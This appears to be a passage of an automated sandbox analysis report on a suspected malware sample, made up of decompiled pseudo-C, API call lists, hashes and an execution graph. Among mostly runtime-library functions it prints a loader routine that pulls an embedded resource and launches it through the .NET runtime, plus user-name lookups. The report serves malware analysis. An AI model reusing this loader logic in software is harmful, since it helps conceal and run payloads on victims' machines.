          0x0040316b
          0x00403170
          0x00403171
          0x004031ab
          0x004031b2
          0x004031f6
          0x004031f6
          0x004031fd
          0x0040320c
          0x0040320f
          0x0040321b
          0x0040321b
          0x0040315d
          0x0040313f
          0x00000000
          0x00000000
          0x00000000
          0x0040310e

          APIs
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: AdjustPointer
          • String ID:
          • API String ID: 1740715915-0
          • Opcode ID: 793730f094be1da67d355f7f23bf5be4a42a2e349e64329e165711bbad5115bb
          • Instruction ID: 0eee83ce428f6a2d5fb7d7f8cdde5a3b4e88414a42be58dcce2751d31cc34b02
          • Opcode Fuzzy Hash: 793730f094be1da67d355f7f23bf5be4a42a2e349e64329e165711bbad5115bb
          • Instruction Fuzzy Hash: FC510172600302AFDB289F55C941BABBBA8EF58306F14417FE9056B2D1D739EE41C798
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00408798(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
          				intOrPtr _t17;
          				intOrPtr _t18;
          				intOrPtr _t20;
          				intOrPtr _t30;
          				char _t32;
          				intOrPtr _t40;
          				intOrPtr* _t42;
          				intOrPtr _t43;
          
          				_t42 = _a4;
          				if(_t42 != 0) {
          					_t32 = 0;
          					__eflags =  *_t42;
          					if( *_t42 != 0) {
          						_t17 = E00409A30(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
          						__eflags = _t17;
          						if(_t17 != 0) {
          							_t40 = _a8;
          							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
          							if(__eflags <= 0) {
          								L11:
          								_t18 = E00408D53(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
          								__eflags = _t18;
          								if(_t18 != 0) {
          									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
          									_t20 = 0;
          									__eflags = 0;
          								} else {
          									E00407B10(GetLastError());
          									_t20 =  *((intOrPtr*)(E00407B6A()));
          								}
          								L14:
          								return _t20;
          							}
          							_t20 = E00408DD0(_t40, __eflags, _t17);
          							__eflags = _t20;
          							if(_t20 != 0) {
          								goto L14;
          							}
          							goto L11;
          						}
          						E00407B10(GetLastError());
          						return  *((intOrPtr*)(E00407B6A()));
          					}
          					_t43 = _a8;
          					__eflags =  *((intOrPtr*)(_t43 + 0xc));
          					if(__eflags != 0) {
          						L6:
          						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
          						L2:
          						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
          						return 0;
          					}
          					_t30 = E00408DD0(_t43, __eflags, 1);
          					__eflags = _t30;
          					if(_t30 != 0) {
          						return _t30;
          					}
          					goto L6;
          				}
          				_t43 = _a8;
          				E00408DB6(_t43);
          				_t32 = 0;
          				 *((intOrPtr*)(_t43 + 8)) = 0;
          				 *((intOrPtr*)(_t43 + 0xc)) = 0;
          				goto L2;
          			}











          0x0040879f
          0x004087a4
          0x004087c2
          0x004087c4
          0x004087c7
          0x004087f0
          0x004087f8
          0x004087fa
          0x00408813
          0x00408816
          0x00408819
          0x00408827
          0x00408834
          0x00408839
          0x0040883b
          0x00408854
          0x00408857
          0x00408857
          0x0040883d
          0x00408844
          0x0040884f
          0x0040884f
          0x00408859
          0x00000000
          0x00408859
          0x0040881e
          0x00408823
          0x00408825
          0x00000000
          0x00000000
          0x00000000
          0x00408825
          0x00408803
          0x00000000
          0x0040880e
          0x004087c9
          0x004087cc
          0x004087cf
          0x004087de
          0x004087e1
          0x004087b8
          0x004087b8
          0x00000000
          0x004087bb
          0x004087d5
          0x004087da
          0x004087dc
          0x0040885d
          0x0040885d
          0x00000000
          0x004087dc
          0x004087a6
          0x004087ab
          0x004087b0
          0x004087b2
          0x004087b5
          0x00000000

          APIs
            • Part of subcall function 00409A30: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0040DBAF,?,00000000,-00000008), ref: 00409A91
          • GetLastError.KERNEL32 ref: 004087FC
          • __dosmaperr.LIBCMT ref: 00408803
          • GetLastError.KERNEL32(?,?,?,?), ref: 0040883D
          • __dosmaperr.LIBCMT ref: 00408844
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ErrorLast__dosmaperr$ByteCharMultiWide
          • String ID:
          • API String ID: 1913693674-0
          • Opcode ID: 2380bed64d21907d5dfc4457df022d76c3bcdbd0a8f3fafbb88adcd9f318a4a4
          • Instruction ID: 972515f50ef534669a89da3669eed9dd7ed1a2d4ff75e1d4c3f63b72d9058425
          • Opcode Fuzzy Hash: 2380bed64d21907d5dfc4457df022d76c3bcdbd0a8f3fafbb88adcd9f318a4a4
          • Instruction Fuzzy Hash: 0B21C732600205AFCB10BF628D8086B77A8EF54368710C93EF995B72D0DF38EC408799
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 17%
          			E00409AD3() {
          				intOrPtr _v8;
          				signed int _v12;
          				WCHAR* _t5;
          				void* _t6;
          				intOrPtr _t9;
          				WCHAR* _t19;
          				WCHAR* _t26;
          				WCHAR* _t29;
          
          				_push(_t21);
          				_t5 = GetEnvironmentStringsW();
          				_t29 = _t5;
          				if(_t29 != 0) {
          					_t6 = E00409A9C(_t29);
          					_t19 = 0;
          					_v12 = _t6 - _t29 >> 1;
          					_t9 = E00409A30(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
          					_v8 = _t9;
          					if(_t9 != 0) {
          						_t26 = E0040A6A3(_t9);
          						_push(0);
          						if(_t26 != 0) {
          							_push(0);
          							_push(_v8);
          							_push(_t26);
          							_push(_v12);
          							_push(_t29);
          							_push(0);
          							_push(0);
          							if(E00409A30() != 0) {
          								E00408694(0);
          								_t19 = _t26;
          							} else {
          								E00408694(_t26);
          							}
          							FreeEnvironmentStringsW(_t29);
          							_t5 = _t19;
          						} else {
          							E00408694();
          							FreeEnvironmentStringsW(_t29);
          							_t5 = 0;
          						}
          					} else {
          						FreeEnvironmentStringsW(_t29);
          						_t5 = 0;
          					}
          				}
          				return _t5;
          			}











          0x00409ad9
          0x00409adb
          0x00409ae1
          0x00409ae5
          0x00409aed
          0x00409af2
          0x00409b00
          0x00409b03
          0x00409b0b
          0x00409b10
          0x00409b24
          0x00409b27
          0x00409b2a
          0x00409b3d
          0x00409b3e
          0x00409b41
          0x00409b42
          0x00409b45
          0x00409b46
          0x00409b47
          0x00409b52
          0x00409b5d
          0x00409b62
          0x00409b54
          0x00409b55
          0x00409b55
          0x00409b66
          0x00409b6c
          0x00409b2c
          0x00409b2c
          0x00409b33
          0x00409b39
          0x00409b39
          0x00409b12
          0x00409b13
          0x00409b19
          0x00409b19
          0x00409b6f
          0x00409b72

          APIs
          • GetEnvironmentStringsW.KERNEL32 ref: 00409ADB
            • Part of subcall function 00409A30: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0040DBAF,?,00000000,-00000008), ref: 00409A91
          • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00409B13
          • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00409B33
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: EnvironmentStrings$Free$ByteCharMultiWide
          • String ID:
          • API String ID: 158306478-0
          • Opcode ID: 570d5e73df3551112cc611fb2ac3c1a239d983844ef26c754e9ea3f5cc420c08
          • Instruction ID: 31a707e6441ba5eb713ba2804f900e652010e3fd9620adc368c091045ee47f5b
          • Opcode Fuzzy Hash: 570d5e73df3551112cc611fb2ac3c1a239d983844ef26c754e9ea3f5cc420c08
          • Instruction Fuzzy Hash: 5411E5A1A016197EE71127B2AC89CBF7E6CEE842A8710043BF541B1183EE3CED41857D
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040F118(void* _a4, long _a8, DWORD* _a12) {
          				void* _t13;
          
          				_t13 = WriteConsoleW( *0x4188a0, _a4, _a8, _a12, 0);
          				if(_t13 == 0 && GetLastError() == 6) {
          					E0040F101();
          					E0040F0C3();
          					_t13 = WriteConsoleW( *0x4188a0, _a4, _a8, _a12, _t13);
          				}
          				return _t13;
          			}




          0x0040f135
          0x0040f139
          0x0040f146
          0x0040f14b
          0x0040f166
          0x0040f166
          0x0040f16c

          APIs
          • WriteConsoleW.KERNEL32(00000000,00000000,00404AFF,00000000,00000000,?,0040E78E,00000000,00000001,?,?,?,0040CBF2,?,00000000,00000000), ref: 0040F12F
          • GetLastError.KERNEL32(?,0040E78E,00000000,00000001,?,?,?,0040CBF2,?,00000000,00000000,?,?,?,0040D1CC,00000000), ref: 0040F13B
            • Part of subcall function 0040F101: CloseHandle.KERNEL32(FFFFFFFE,0040F14B,?,0040E78E,00000000,00000001,?,?,?,0040CBF2,?,00000000,00000000,?,?), ref: 0040F111
          • ___initconout.LIBCMT ref: 0040F14B
            • Part of subcall function 0040F0C3: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0040F0F2,0040E77B,?,?,0040CBF2,?,00000000,00000000,?), ref: 0040F0D6
          • WriteConsoleW.KERNEL32(00000000,00000000,00404AFF,00000000,?,0040E78E,00000000,00000001,?,?,?,0040CBF2,?,00000000,00000000,?), ref: 0040F160
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
          • String ID:
          • API String ID: 2744216297-0
          • Opcode ID: fa38966b5174c12e011f1d29460e60b6ccd418f6c39747bd92832199a799d301
          • Instruction ID: 23ad264d729cb3fda557c1c1da3f34fdf71add76c7ca5d843bb2f0a27f73c11d
          • Opcode Fuzzy Hash: fa38966b5174c12e011f1d29460e60b6ccd418f6c39747bd92832199a799d301
          • Instruction Fuzzy Hash: 27F01C3A901154FBCF322F95DC04DCA3F66EF483A1B408035FE08A5570CA368C60DBA9
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 65%
          			E004036E0(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
          				signed int _v8;
          				signed int _v12;
          				intOrPtr* _v16;
          				signed int _v20;
          				char _v24;
          				intOrPtr _v28;
          				signed int _v36;
          				void* _v40;
          				intOrPtr _v44;
          				signed int _v48;
          				intOrPtr _v56;
          				void _v60;
          				signed char* _v68;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				void* _t74;
          				void* _t75;
          				char _t76;
          				signed char _t78;
          				signed int _t80;
          				signed char* _t81;
          				signed int _t82;
          				signed int _t83;
          				intOrPtr* _t87;
          				void* _t90;
          				signed char* _t93;
          				intOrPtr* _t96;
          				signed char _t97;
          				intOrPtr _t98;
          				intOrPtr _t99;
          				intOrPtr* _t101;
          				signed int _t102;
          				signed int _t103;
          				signed char _t108;
          				signed char* _t111;
          				signed int _t112;
          				signed char* _t116;
          				void* _t121;
          				signed int _t123;
          				void* _t130;
          				void* _t131;
          
          				_t110 = __edx;
          				_t100 = __ecx;
          				_t96 = _a4;
          				if( *_t96 == 0x80000003) {
          					return _t74;
          				} else {
          					_push(_t121);
          					_t75 = E00402403(_t96, __ecx, __edx, _t121);
          					if( *((intOrPtr*)(_t75 + 8)) != 0) {
          						__imp__EncodePointer(0);
          						_t121 = _t75;
          						if( *((intOrPtr*)(E00402403(_t96, __ecx, __edx, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
          							_t87 = E00402881(__edx, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
          							_t130 = _t130 + 0x1c;
          							if(_t87 != 0) {
          								L16:
          								return _t87;
          							}
          						}
          					}
          					_t76 = _a20;
          					_v24 = _t76;
          					_v20 = 0;
          					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
          						_push(_a28);
          						E004027B4(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
          						_t112 = _v36;
          						_t131 = _t130 + 0x18;
          						_t87 = _v40;
          						_v16 = _t87;
          						_v8 = _t112;
          						if(_t112 < _v28) {
          							_t102 = _t112 * 0x14;
          							_v12 = _t102;
          							do {
          								_t103 = 5;
          								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
          								_t131 = _t131 + 0xc;
          								if(_v60 <= _t90 && _t90 <= _v56) {
          									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
          									_t108 = _t93[4];
          									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
          										if(( *_t93 & 0x00000040) == 0) {
          											_push(0);
          											_push(1);
          											E004032BB(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
          											_t112 = _v8;
          											_t131 = _t131 + 0x30;
          										}
          									}
          								}
          								_t112 = _t112 + 1;
          								_t87 = _v16;
          								_t102 = _v12 + 0x14;
          								_v8 = _t112;
          								_v12 = _t102;
          							} while (_t112 < _v28);
          						}
          						goto L16;
          					}
          					E0040623E(_t96, _t100, _t110, _t121);
          					asm("int3");
          					_t111 = _v68;
          					_push(_t96);
          					_push(_t121);
          					_push(0);
          					_t78 = _t111[4];
          					if(_t78 == 0) {
          						L41:
          						_t80 = 1;
          					} else {
          						_t101 = _t78 + 8;
          						if( *_t101 == 0) {
          							goto L41;
          						} else {
          							_t116 = _a4;
          							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
          								_t97 = _t116[4];
          								_t123 = 0;
          								if(_t78 == _t97) {
          									L33:
          									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
          										_t81 = _a8;
          										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
          											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
          												_t123 = 1;
          											}
          										}
          									}
          									_t80 = _t123;
          								} else {
          									_t59 = _t97 + 8; // 0x6e
          									_t82 = _t59;
          									while(1) {
          										_t98 =  *_t101;
          										if(_t98 !=  *_t82) {
          											break;
          										}
          										if(_t98 == 0) {
          											L29:
          											_t83 = _t123;
          										} else {
          											_t99 =  *((intOrPtr*)(_t101 + 1));
          											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
          												break;
          											} else {
          												_t101 = _t101 + 2;
          												_t82 = _t82 + 2;
          												if(_t99 != 0) {
          													continue;
          												} else {
          													goto L29;
          												}
          											}
          										}
          										L31:
          										if(_t83 == 0) {
          											goto L33;
          										} else {
          											_t80 = 0;
          										}
          										goto L42;
          									}
          									asm("sbb eax, eax");
          									_t83 = _t82 | 0x00000001;
          									goto L31;
          								}
          							} else {
          								goto L41;
          							}
          						}
          					}
          					L42:
          					return _t80;
          				}
          			}













































          0x004036e0
          0x004036e0
          0x004036e7
          0x004036f0
          0x0040380f
          0x004036f6
          0x004036f6
          0x004036f8
          0x00403702
          0x00403705
          0x0040370b
          0x00403715
          0x0040373a
          0x0040373f
          0x00403744
          0x0040380b
          0x00000000
          0x0040380c
          0x00403744
          0x00403715
          0x0040374a
          0x0040374d
          0x00403750
          0x00403756
          0x0040375c
          0x0040376e
          0x00403773
          0x00403776
          0x00403779
          0x0040377c
          0x0040377f
          0x00403785
          0x0040378b
          0x0040378e
          0x00403791
          0x004037a0
          0x004037a1
          0x004037a1
          0x004037a6
          0x004037b9
          0x004037bb
          0x004037c0
          0x004037cb
          0x004037cd
          0x004037cf
          0x004037eb
          0x004037f0
          0x004037f3
          0x004037f3
          0x004037cb
          0x004037c0
          0x004037f9
          0x004037fa
          0x004037fd
          0x00403800
          0x00403803
          0x00403806
          0x00403791
          0x00000000
          0x00403785
          0x00403810
          0x00403815
          0x00403819
          0x0040381c
          0x0040381d
          0x0040381e
          0x0040381f
          0x00403824
          0x0040389c
          0x0040389e
          0x00403826
          0x00403826
          0x0040382c
          0x00000000
          0x0040382e
          0x00403831
          0x00403834
          0x0040383b
          0x0040383e
          0x00403842
          0x00403874
          0x00403877
          0x0040387e
          0x00403884
          0x0040388e
          0x00403897
          0x00403897
          0x0040388e
          0x00403884
          0x00403898
          0x00403844
          0x00403844
          0x00403844
          0x00403847
          0x00403847
          0x0040384b
          0x00000000
          0x00000000
          0x0040384f
          0x00403863
          0x00403863
          0x00403851
          0x00403851
          0x00403857
          0x00000000
          0x00403859
          0x00403859
          0x0040385c
          0x00403861
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00403861
          0x00403857
          0x0040386c
          0x0040386e
          0x00000000
          0x00403870
          0x00403870
          0x00403870
          0x00000000
          0x0040386e
          0x00403867
          0x00403869
          0x00000000
          0x00403869
          0x00000000
          0x00000000
          0x00000000
          0x00403834
          0x0040382c
          0x0040389f
          0x004038a3
          0x004038a3

          APIs
          • EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00403705
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: EncodePointer
          • String ID: MOC$RCC
          • API String ID: 2118026453-2084237596
          • Opcode ID: 00d0e1f1b77c4b1278f63ae4e7bf7ddda63b466b9ddc3a445dd5d16418ad00af
          • Instruction ID: 26e6ef2ac78d9669040f947cc7e512453069a3445d94063a297bb2325bcafb7a
          • Opcode Fuzzy Hash: 00d0e1f1b77c4b1278f63ae4e7bf7ddda63b466b9ddc3a445dd5d16418ad00af
          • Instruction Fuzzy Hash: 6B419CB2900209AFCF16DF94CD81AEE7FB9BF08305F1480AAF90477291D3399A51DB54
          Uniqueness

          Uniqueness Score: -1.00%

          Execution Graph

          Execution Coverage:9.2%
          Dynamic/Decrypted Code Coverage:47.9%
          Signature Coverage:7.4%
          Total number of Nodes:121
          Total number of Limit Nodes:12
          execution_graph 29794 404a83 29807 407507 GetEnvironmentStringsW 29794->29807 29796 404a94 29797 404aa6 29796->29797 29798 404a9a 29796->29798 29815 404ad7 41 API calls 3 library calls 29797->29815 29814 40650b 14 API calls __freea 29798->29814 29801 404aad 29816 40650b 14 API calls __freea 29801->29816 29802 404aa0 29804 404aca 29817 40650b 14 API calls __freea 29804->29817 29806 404ad0 29808 407516 29807->29808 29809 407518 29807->29809 29808->29796 29818 407d48 29809->29818 29812 40752d __InternalCxxFrameHandler 29825 40650b 14 API calls __freea 29812->29825 29813 407547 FreeEnvironmentStringsW 29813->29796 29814->29802 29815->29801 29816->29804 29817->29806 29819 407d86 29818->29819 29823 407d56 _com_raise_error 29818->29823 29827 40649b 14 API calls __CreateFrameInfo 29819->29827 29820 407d71 RtlAllocateHeap 29822 407d84 29820->29822 29820->29823 29822->29812 29823->29819 29823->29820 29826 4087b5 EnterCriticalSection LeaveCriticalSection _com_raise_error 29823->29826 29825->29813 29826->29823 29827->29822 29828 23cf438 29829 23cf499 GetUserNameW 29828->29829 29831 23cf585 29829->29831 29847 23c0448 29848 23c044d 29847->29848 29849 23c048f 29848->29849 29851 56d2af0 29848->29851 29852 56d2aff 29851->29852 29855 56d24c4 29852->29855 29856 56d24cf 29855->29856 29859 56d392c 29856->29859 29858 56d53de 29858->29858 29860 56d3937 29859->29860 29861 56d5ae6 29860->29861 29863 56d7a68 29860->29863 29861->29858 29864 56d7a89 29863->29864 29865 56d7aad 29864->29865 29868 56d7c08 29864->29868 29872 56d7c18 29864->29872 29865->29861 29869 56d7c18 29868->29869 29871 56d7c5e 29869->29871 29876 56d5760 29869->29876 29871->29865 29873 56d7c25 29872->29873 29874 56d7c5e 29873->29874 29875 56d5760 KiUserCallbackDispatcher 29873->29875 29874->29865 29875->29874 29877 56d576b 29876->29877 29879 56d7cd0 29877->29879 29880 56d5794 29877->29880 29879->29879 29881 56d579f 29880->29881 29884 56d57a4 29881->29884 29883 56d7d3f 29883->29879 29885 56d57af 29884->29885 29890 56d8434 29885->29890 29887 56d8804 29887->29883 29888 56d7a68 KiUserCallbackDispatcher 29888->29887 29889 56d85dc 29889->29887 29889->29888 29891 56d843f 29890->29891 29892 56d9b5a 29891->29892 29894 56d9ba8 29891->29894 29892->29889 29895 56d9bfb 29894->29895 29896 56d9c06 KiUserCallbackDispatcher 29895->29896 29897 56d9c30 29895->29897 29896->29897 29897->29892 29898 56d4d78 DuplicateHandle 29899 56d4e0e 29898->29899 29900 56d3bf8 GetCurrentProcess 29901 56d3c6b 29900->29901 29902 56d3c72 GetCurrentThread 29900->29902 29901->29902 29903 56d3caf GetCurrentProcess 29902->29903 29904 56d3ca8 29902->29904 29905 56d3ce5 29903->29905 29904->29903 29906 56d3d0d GetCurrentThreadId 29905->29906 29907 56d3d3e 29906->29907 29832 401708 29837 401e16 SetUnhandledExceptionFilter 29832->29837 29834 40170d _com_raise_error 29838 4051cb 41 API calls 2 library calls 29834->29838 29836 401718 29837->29834 29838->29836 29908 40171a 29909 401726 ___scrt_is_nonwritable_in_current_image 29908->29909 29934 401992 29909->29934 29911 40172d 29912 401880 29911->29912 29923 401757 ___scrt_is_nonwritable_in_current_image __CreateFrameInfo ___scrt_release_startup_lock 29911->29923 29953 401c83 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter _com_raise_error 29912->29953 29914 401887 29954 40506f 21 API calls __CreateFrameInfo 29914->29954 29916 40188d 29955 405033 21 API calls __CreateFrameInfo 29916->29955 29918 401895 29919 401776 29920 4017f7 29942 401d9e 29920->29942 29922 4017fd 29946 40147b GetModuleHandleW FindResourceW 29922->29946 29923->29919 29923->29920 29952 405049 41 API calls 3 library calls 29923->29952 29935 40199b 29934->29935 29956 40207b IsProcessorFeaturePresent 29935->29956 29937 4019a7 29957 4025ca 10 API calls 2 library calls 29937->29957 29939 4019ac 29940 4019b0 29939->29940 29958 4025e9 7 API calls 2 library calls 29939->29958 29940->29911 29959 402470 29942->29959 29944 401db1 GetStartupInfoW 29945 401dc4 29944->29945 29945->29922 29947 40149d GetModuleHandleW LoadResource 29946->29947 29948 4014de ExitProcess 29946->29948 29949 4014d7 FreeResource 29947->29949 29950 4014af LockResource GetModuleHandleW SizeofResource 29947->29950 29949->29948 29950->29949 29951 4014cc 29950->29951 29951->29949 29952->29920 29953->29914 29954->29916 29955->29918 29956->29937 29957->29939 29958->29940 29959->29944 29839 23c2a50 29840 23c2a6e 29839->29840 29843 23c2244 29840->29843 29842 23c2aa5 29845 23c4570 LoadLibraryA 29843->29845 29846 23c4669 29845->29846

          Control-flow Graph

          C-Code - Quality: 100%
          			E0040147B() {
          				void* _v8;
          				struct HRSRC__* _t4;
          				long _t10;
          				struct HRSRC__* _t12;
          				void* _t16;
          
          				_t4 = FindResourceW(GetModuleHandleW(0), 1, 0xa); // executed
          				_t12 = _t4;
          				if(_t12 == 0) {
          					L6:
          					ExitProcess(0);
          				}
          				_t16 = LoadResource(GetModuleHandleW(0), _t12);
          				if(_t16 != 0) {
          					_v8 = LockResource(_t16);
          					_t10 = SizeofResource(GetModuleHandleW(0), _t12);
          					_t13 = _v8;
          					if(_v8 != 0 && _t10 != 0) {
          						L00401000(_t13, _t10); // executed
          					}
          				}
          				FreeResource(_t16);
          				goto L6;
          			}








          0x00401491
          0x00401497
          0x0040149b
          0x004014de
          0x004014e0
          0x004014e0
          0x004014a9
          0x004014ad
          0x004014b9
          0x004014bf
          0x004014c5
          0x004014ca
          0x004014d2
          0x004014d2
          0x004014ca
          0x004014d8
          0x00000000

          APIs
          • GetModuleHandleW.KERNEL32(00000000,00000001,0000000A,00000000,?,00000000,?,?,80004003), ref: 0040148E
          • FindResourceW.KERNELBASE(00000000,?,?,80004003), ref: 00401491
          • GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014A0
          • LoadResource.KERNEL32(00000000,?,?,80004003), ref: 004014A3
          • LockResource.KERNEL32(00000000,?,?,80004003), ref: 004014B0
          • GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014BC
          • SizeofResource.KERNEL32(00000000,?,?,80004003), ref: 004014BF
            • Part of subcall function 0040147B: CLRCreateInstance.MSCOREE(00412D78,00412D38,?), ref: 00401037
          • FreeResource.KERNEL32(00000000,?,?,80004003), ref: 004014D8
          • ExitProcess.KERNEL32 ref: 004014E0
          Strings
          Memory Dump Source
          • Source File: 00000003.00000002.506813096.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: Resource$HandleModule$CreateExitFindFreeInstanceLoadLockProcessSizeof
          • String ID: v4.0.30319
          • API String ID: 2372384083-3152434051
          • Opcode ID: e46176bf33edfd7360af789f5c5b3a087a38c03d6e498ff32b619ddbb1b13555
          • Instruction ID: 1025187115c16df301aa5e6fb14f5cc9936e15f8599d421e9e42fb84dc5f9529
          • Opcode Fuzzy Hash: e46176bf33edfd7360af789f5c5b3a087a38c03d6e498ff32b619ddbb1b13555
          • Instruction Fuzzy Hash: D4F04470A0131477EB202BF34D4DF2B755C9F85746F040874F601BA2A0CAB4DC008679
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 641 23cf438-23cf497 642 23cf499-23cf4c4 641->642 643 23cf502-23cf506 641->643 653 23cf4f4 642->653 654 23cf4c6-23cf4c8 642->654 644 23cf508-23cf52b 643->644 645 23cf531-23cf53c 643->645 644->645 647 23cf53e-23cf546 645->647 648 23cf548-23cf583 GetUserNameW 645->648 647->648 651 23cf58c-23cf5a2 648->651 652 23cf585-23cf58b 648->652 655 23cf5b8-23cf5df 651->655 656 23cf5a4-23cf5b0 651->656 652->651 662 23cf4f9-23cf4fc 653->662 659 23cf4ea-23cf4f2 654->659 660 23cf4ca-23cf4d4 654->660 664 23cf5ef 655->664 665 23cf5e1-23cf5e5 655->665 656->655 659->662 666 23cf4d8-23cf4e6 660->666 667 23cf4d6 660->667 662->643 670 23cf5f0 664->670 665->664 668 23cf5e7 665->668 666->666 669 23cf4e8 666->669 667->666 668->664 669->659 670->670
          APIs
          • GetUserNameW.ADVAPI32(00000000,00000000), ref: 023CF573
          Memory Dump Source
          • Source File: 00000003.00000002.507780670.00000000023C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 023C0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_3_2_23c0000_rtvzitvzef.jbxd
          Similarity
          • API ID: NameUser
          • String ID:
          • API String ID: 2645101109-0
          • Opcode ID: 20882c961a269e1a03e073c2e1f17820436249e96cf3d8b848f98f5b01ec555a
          • Instruction ID: eb34bf3ca95050634beb00cd26ba0719afec6829d9b3273e79ecd88f39365836
          • Opcode Fuzzy Hash: 20882c961a269e1a03e073c2e1f17820436249e96cf3d8b848f98f5b01ec555a
          • Instruction Fuzzy Hash: 4051F671E002188FDB18CFA9C895BADBBB2BF48314F25811ED819BB751DB749844CF95
          Uniqueness

          Uniqueness Score: -1.00%

          Control-flow Graph

          • Executed
          • Not Executed
          control_flow_graph 1364 401e16-401e21 SetUnhandledExceptionFilter
          C-Code - Quality: 100%
          			E00401E16() {
          				_Unknown_base(*)()* _t1;
